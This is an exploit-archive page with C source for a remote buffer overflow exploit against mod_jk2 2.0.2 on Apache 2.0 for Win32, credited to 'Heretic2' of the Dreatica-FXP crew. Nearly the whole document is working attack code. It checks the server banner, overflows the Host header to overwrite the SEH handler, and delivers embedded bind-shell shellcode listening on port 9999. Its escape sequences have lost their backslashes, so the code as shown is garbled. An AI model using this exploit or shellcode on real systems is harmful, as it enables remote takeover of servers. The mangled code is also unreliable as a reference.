[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : mod_jk2 v2.0.2 for Apache 2.0 Remote Buffer Overflow Exploit (win32)
# Published : 2008-03-31
# Author : Heretic2
# Previous Title : ChilkatHttp ActiveX 2.3 Arbitrary Files Overwrite Exploit
# Next Title : Linksys WRT54G (firmware 1.00.9) Security Bypass Vulnerabilities


/* Dreatica-FXP crew
* 
* ----------------------------------------
* Target         : mod_jk2 v2.0.2 for Apache 2.0 Win32  
* Found by       : IOActive Security Advisory
* ----------------------------------------
* Exploit        : mod_jk2 v2.0.2 Buffer Overflow Exploit (win32)
* Exploit date   : 01.03.2008 - 02.03.2008
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS             : Windows ALL 
* Crew           : Dreatica-FXP
* ----------------------------------------
* Info           : Exploit was found by IOActive Security Advisory, trivial exploit for win32.
*                  The only problem here is that the mod_jk2 forstly downcase all letter in Host
*                  header request, Metasploit v3 have solutions for this case:
*                     1. Use non-upper encoder
*                     2. Use non-alpha encoder
*                  i used the first variant here. and all is working good.
* ----------------------------------------
* Thanks to:
*       1. IOActive Security Advisory  (                                                        )
*       2. The Metasploit project      ( http://metasploit.com                                  ) 
*       3. Dreatica-FXP crew           (                                                        )
* ----------------------------------------
* This was written for educational purpose only. Use it at your own risk. Author will be not be 
* responsible for any damage, caused by that code.
************************************************************************************
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <ctime>
#pragma comment(lib,"ws2_32")


void usage(char * s);
void logo();
void end_logo();
void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport, char * url);
void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh);
int get_version(char * remotehost, int port, int * itarget);
int validate_args(char * remotehost, int port, int sh, int itarget);
int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port);
SOCKET do_connect (char *remotehost, int port);


// -----------------------------------------------------------------
// XGetopt.cpp  Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char	*optarg;		// global argument pointer
int		optind = 0, opterr; 	// global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------




struct _target{
	const char *t ;
	unsigned long ret ;
} targets[]=
{	
	{"mod_jk2/2.0.2 for Apache 2.0.48",  0x100115c3 },// pop,pop,ret	
	{NULL,                               0x00000000 }
};



struct {
	const char * name;
	int length;
	char * shellcode;	
}shellcodes[]={ 	
	{"Bindshell, port 9999", 461, 		
	/*
	* windows/shell_bind_tcp - 461 bytes
	* http://www.metasploit.com
	* Encoder: x86/nonalpha
	* EXITFUNC=seh, LPORT=9999
	*/
		"x66xb9xffxffxebx19x5ex8bxfex83xc7x6cx8bxd7x3b"
		"xf2x7dx0bxb0x7bxf2xaexffxcfxacx28x07xebxf1xeb"
		"x71xe8xe2xffxffxffx11x2ex0fx36x03x2cx32x07x27"
		"x06x15x30x0fx1ax17x38x0bx13x2dx2bx15x28x15x13"
		"x13x04x08x27x13x2bx15x26x11x13x24x28x28x28x28"
		"x28x38x28x38x28x15x13x15x28x13x0bx24x11x2ax26"
		"x13x24x28x26x13x32x32x24x2bx27x27x26x13x02x02"
		"x24x26x15x11x17x15x13x18x0ex11x2bx22x11x37x39"
		"x39x01x13x09x06x37x24x29x2ax2ax2ax11x2ax2ax26"
		"x2ax13x28x11x24x17x29x13x28xfcx7bxebx7bxe8xf9"
		"xffxffxffx60x8bx7bx24x24x8bx7bx3cx8bx7cx05x7b"
		"x01xefx8bx7bx18x8bx5fx20x01xebx7bx8bx34x8bx01"
		"xeex31xc0x99xacx84xc0x7bx07xc1xcax0dx01xc2xeb"
		"xf4x3bx7bx24x28x7bxe5x8bx5fx24x01xebx7bx8bx0c"
		"x7bx8bx5fx1cx01xebx03x2cx8bx89x7bx24x1cx7bxc3"
		"x31xdbx7bx8bx7bx30x8bx40x0cx8bx7bx1cxadx8bx40"
		"x08x5ex7bx8ex7bx0execx7bxffxd6x7bx7bx7bx7bx33"
		"x32x7bx7bx7bx32x5fx7bxffxd0x7bxcbxedxfcx3bx7b"
		"xffxd6x5fx89xe5x7bx81xedx08x02x7bx7bx02xffxd0"
		"x7bxd9x09xf5xadx7bxffxd6x7bx7bx7bx7bx7bx7bx7b"
		"x7bx7bxffxd0x7bx7bx27x0fx7bx7bx89xe1x95x7bxa4"
		"x1ax7bxc7x7bxffxd6x7bx10x7bx7bxffxd0x7bxa4xad"
		"x2exe9x7bxffxd6x7bx7bxffxd0x7bxe5x7bx86x7bx7b"
		"xffxd6x7bx7bx7bx7bxffxd0x93x7bxe7x7bxc6x7bx7b"
		"xffxd6x7bxffxd0x7bx7bx7bx7bx7bx7bx7bx89xe5x7b"
		"x7bx7bx29xccx89xe7x7bx7bx89xe2x31xc0xf3xaaxfe"
		"x7bx2dxfex7bx2cx93x8dx7bx38xabxabxabx7bx7bxfe"
		"xb3x16xffx7bx7bxffxd6x5bx7bx7bx7bx7bx7bx7bx01"
		"x7bx7bx7bx7bxffxd0x7bxadxd9x05xcex7bxffxd6x7b"
		"xffxffx37xffxd0x8bx7bxfcx83xc4x7bxffxd6x7bxff"
		"xd0x7bxf0x8ax04x5fx7bxffxd6xffxd0"
	 },	  
	{NULL , NULL }
};








int main(int argc, char **argv)
{
	char * remotehost=NULL;
	char default_remotehost[]="127.0.0.1";	
	char temp1[100], temp2[100];
	int port, itarget, x, sh;
	SOCKET s;
	char c;	
	int option_index=0;
	logo();
	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);
	if(argc<2)
	{
		usage(argv[0]);		
		return -1;
	}

	// set defaults
	port=80;
	itarget=-1;
	sh=0;
	// ------------	
	
	while((c = getopt(argc, argv, "h:p:"))!= EOF)
	{
		switch (c)
		{
			case 'h':
				remotehost=optarg;
				break; 				
			case 'p':
				sscanf(optarg, "%d", &port);
				break;			
			default:
	            usage(argv[0]);
				WSACleanup();
			return -1;
		}		 
	}	
	if(remotehost == NULL) remotehost=default_remotehost;
	memset(temp1,0,sizeof(temp1));
	memset(temp2,0,sizeof(temp2));
	memset(temp1, 'x20' , 58 - strlen(remotehost) -1);	
	printf(" #  Host    : %s%s# n", remotehost, temp1);	
	sprintf(temp2, "%d", port);
	memset(temp1,0,sizeof(temp1));
	memset(temp1, 'x20' , 58 - strlen(temp2) -1);
	printf(" #  Port    : %s%s# n", temp2, temp1);
	memset(temp1,0,sizeof(temp1));	
	memset(temp2,0,sizeof(temp2));
	sprintf(temp2, "%s", shellcodes[sh].name );
	memset(temp1, 'x20' , 58 - strlen(temp2) -1);	
	printf(" #  Payload : %s%s# n", temp2, temp1);	


	printf(" # ------------------------------------------------------------------- # n");
	fflush(stdout);
	printf("   [+] Checking if server is onlinen");
	fflush(stdout);
	s=do_connect(remotehost, port);   
	if(s==-1)
	{
		printf("   [-] Server is OFFLINEn");
		end_logo();
		return 0;
	}
	closesocket(s);
	printf("   [+] Server is ONLINEn");

	x = get_version(remotehost, port, &itarget);
	if(x<0)
	{
		printf("   [-] Cannot exploit due to errorsn");
		WSACleanup();
		end_logo();
		return -1;		
	}
		
		
	unsigned char buf[10000];
	unsigned int len;
	memset(buf,0,sizeof(buf));
	fflush(stdout);
	make_buffer(buf, &len, itarget, sh);

	printf("   [+] Attacking buffer constructedn");

	if(send_buffer(buf, len, remotehost,port)==-1)
	{
		printf("   [-] Cannot exploit server %sn", remotehost);
		end_logo();
		WSACleanup();
		return -1;
	}

	printf("   [+] Buffer sentn");
	printf("   [+] Connect to %s:%dn", remotehost, 9999);
		
	end_logo();
	WSACleanup();
	return 0;
}



SOCKET do_connect (char *remotehost, int port)
{
	static struct hostent *host;
	static struct sockaddr_in addr;
	SOCKET s;	
	host = gethostbyname(remotehost);
	if (!host)
	{
		perror("   [-] gethostbyname() failed");
		return -1;
	}
	addr.sin_addr = *(struct in_addr*)host->h_addr;

	s = socket(PF_INET, SOCK_STREAM, 0);
	if (s == -1)
	{
		closesocket(s);
		perror("socket() failed");
		return -1;
	}
	addr.sin_port = htons(port);
	addr.sin_family = AF_INET;
	if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
	{
		closesocket(s);     
		return -1;
	}
	return s;
}



int get_version(char * remotehost, int port, int * target)
{
	
	char bufmax[4096], * lp, *lp2, WebBanner[1000], Version[1000], ModJK[1000];
	int bytes,j,x;
	SOCKET sock;

	memset(bufmax,0,sizeof(bufmax));
	memset(WebBanner,0,sizeof(WebBanner));
	memset(Version,0,sizeof(Version));
	memset(ModJK,0,sizeof(ModJK));
	sock = do_connect(remotehost, port);

	if (sock == -1) return -1;
	send(sock, "GET /a.html HTTP/1.0rnrn",(int)strlen("GET /a.html HTTP/1.0rnrn"),0);
	
	if ((bytes = recv(sock, bufmax, sizeof(bufmax),0 )) <= 0) return -1;
	bufmax[sizeof(bufmax)-1]=0;

	if((lp=strstr(bufmax,"Server:"))==NULL) return -1;
	if((lp2=strstr(lp,"rn"))==NULL) return -1;

	strncpy(WebBanner, lp, lp2-lp);
	if((lp=strstr(WebBanner,"Win32"))==NULL) 
	{
		printf("   [-] OS is not a Win32n");
		return -1;
	}

	if((lp=strstr(WebBanner,"Apache/"))==NULL)
	{
		printf("   [-] No Apachen");
		return -1;
	}
	if(lp+strlen("Apache/")>WebBanner+strlen(WebBanner)-1) return -1;
	lp+=strlen("Apache/");
	if((lp2=strstr(lp," "))==NULL) return -1;

	strncpy(Version, lp, lp2-lp);

	printf("   [+] Version of Apache is %sn", Version);

	x=0;
	for(j=0; targets[j].t!=0;j++)
	{
		if(strstr(targets[j].t,Version)!=NULL)
		{			
			x=1;
			break;
		}
	}
	if(x==0)
	{
		printf("   [-] This version of Apache is UNSUPPORTEDn");
		return -1;
	}
	printf("   [+] This version of Apache is SUPPORTEDn");

	strncpy(WebBanner, lp, lp2-lp);

	if((lp=strstr(WebBanner,"mod_jk2/"))==NULL) 
	{
		printf("   [-] No mod_jk2n");
		return -1;
	}
	if((lp2=strstr(lp," "))==NULL) lp2=WebBanner+strlen(WebBanner);

	strncpy(ModJK, lp, lp2-lp);

	printf("   [+] mod_jk2 is %sn", ModJK);
	x=0;
	for(j=0; targets[j].t!=0;j++)
	{
		if(strstr(targets[j].t,ModJK)!=NULL)
		{
			*target=j;
			x=1;
			break;
		}
	}
	if(x==0)
	{
		printf("   [-] This version of mod_jk2 is UNSUPPORTEDn");
		return -1;
	}
	printf("   [+] This version of mod_jk2 is SUPPORTEDn");
	return 0;
}


void prepare_shellcode(unsigned char * fsh, unsigned int * fshlength, int sh)
{
	memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);
	*fshlength = shellcodes[sh].length;	
}

void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh)
{
		// prepare shellcode
	unsigned char fsh[10000];	
	unsigned int fshlength;
	memset(fsh, 0, sizeof(fsh));	
	prepare_shellcode(fsh, &fshlength, sh);
	// -----------------

		// make buffer
	unsigned char * cp=buf;

		// begin of the HTTP request
	memcpy(cp, "GET / HTTP/1.0rnHost: ", strlen("GET / HTTP/1.0rnHost: ") );		
	cp+=strlen((char *)cp);
	
		// jff
	*cp++='x90';
	*cp++='x90';
	*cp++='x90';
	*cp++='x90';

		// overflowing
	memset(cp, 'x41', 5001);

		// put the shellcode
	memcpy(cp, fsh, fshlength);
	cp+=1271;

		// calculating backward jump
	int jmp_bytes=0xffffffff - (1275);

		// putting backward jump
	*cp++ = 'xe9';	
	*cp++ = (char)((jmp_bytes      ) & 0xff);
	*cp++ = (char)((jmp_bytes >>  8) & 0xff);
	*cp++ = (char)((jmp_bytes >> 16) & 0xff);
	*cp++ = (char)((jmp_bytes >> 24) & 0xff);

		// next SEH record and back jump
	*cp++='x90';
	*cp++='x90';
	*cp++='xeb';
	*cp++='xf7';

		// replace SEH
	*cp++ = (char)((targets[itarget].ret      ) & 0xff);
	*cp++ = (char)((targets[itarget].ret >>  8) & 0xff);
	*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
	*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);

		// trigger exception
	cp+=3000;			

		// copy the last part of the request
	memcpy(cp, "rnrn", strlen("rnrn") );		
	cp+=strlen((char *)cp);

}



int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port)
{	
	SOCKET sock;

	sock = do_connect(remotehost, port);
	
	if (sock<0) return -1;
	if (send(sock, (char *)buf,(int)strlen((char *)buf),0)<=0) return -1;
	
	closesocket(sock);
	return 1;
}






// -----------------------------------------------------------------
// XGetopt.cpp  Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring)
{
	static char *next = NULL;
	if (optind == 0)
		next = NULL;

	optarg = NULL;

	if (next == NULL || *next == '')
	{
		if (optind == 0)
			optind++;

		if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '')
		{
			optarg = NULL;
			if (optind < argc)
				optarg = argv[optind];
			return EOF;
		}

		if (strcmp(argv[optind], "--") == 0)
		{
			optind++;
			optarg = NULL;
			if (optind < argc)
				optarg = argv[optind];
			return EOF;
		}

		next = argv[optind];
		next++;		// skip past -
		optind++;
	}

	char c = *next++;
	char *cp = strchr(optstring, c);

	if (cp == NULL || c == ':')
		return '?';

	cp++;
	if (*cp == ':')
	{
		if (*next != '')
		{
			optarg = next;
			next = NULL;
		}
		else if (optind < argc)
		{
			optarg = argv[optind];
			optind++;
		}
		else
		{
			return '?';
		}
	}

	return c;
}
// -----------------------------------------------------------------
// -----------------------------------------------------------------
// -----------------------------------------------------------------







void usage(char * s)
{	
	printf("n");
	printf("    Usage: %s -h <host> -p <port>n", s);
	printf("   -------------------------------------------------------------------n");
	printf("    Arguments:n");
	printf("      -h ........ host to attackn");
	printf("      -p ........ port to usen");	
	printf("n");
	printf("    Supported mod_jk versions:n");
	for(int j=0; targets[j].t!=0;j++)
	{
		printf("      %d. %sn",j+1, targets[j].t);
	}					
	printf("n");
	printf("    Execution: %snn", shellcodes[0].name);			
	end_logo();	
}

void logo()
{
	printf("nn");
	printf(" ####################################################################### n");	
	printf(" #     ____                 __  _                  ______  __    _____ #n");
	printf(" #    / __ \________  _____/ /_(_)_________       / __/\ \/ /   / _  / #n");
	printf(" #   / / / / ___/ _ \/ __ / __/ / ___/ __ / ___  / /    \  /   / // /  #n");
	printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \  / ___/   #n");
	printf(" # /_____/_/  \___/ \_,_/\__/_/\___/\__,_/     /_/     /_/\_\/_/       #n");
	printf(" #                                 crew                                #n");
	printf(" ####################################################################### n");	
	printf(" #  Exploit : mod_jk2 v2.0.2 for Apache 2.0                            # n");
	printf(" #  Author  : Heretic2                                                 # n");
	printf(" #  THANKS  : IOActive and The Metasploit Project                      # n");
	printf(" #  Research: IOActive Security Advisory                               # n");
	printf(" #  Version : 1.0                                                      # n");
	printf(" #  System  : Windows ALL                                              # n");
	printf(" #  Date    : 01.03.2008 - 02.03.2008                                  # n");
	printf(" # ------------------------------------------------------------------- # n");
}

void end_logo()
{
	printf(" # ------------------------------------------------------------------- # n");
	printf(" #                    Dreatica-FXP crew [Heretic2]                     # n");	
	printf(" ####################################################################### nn");
}

// www.Syue.com [2008-03-31]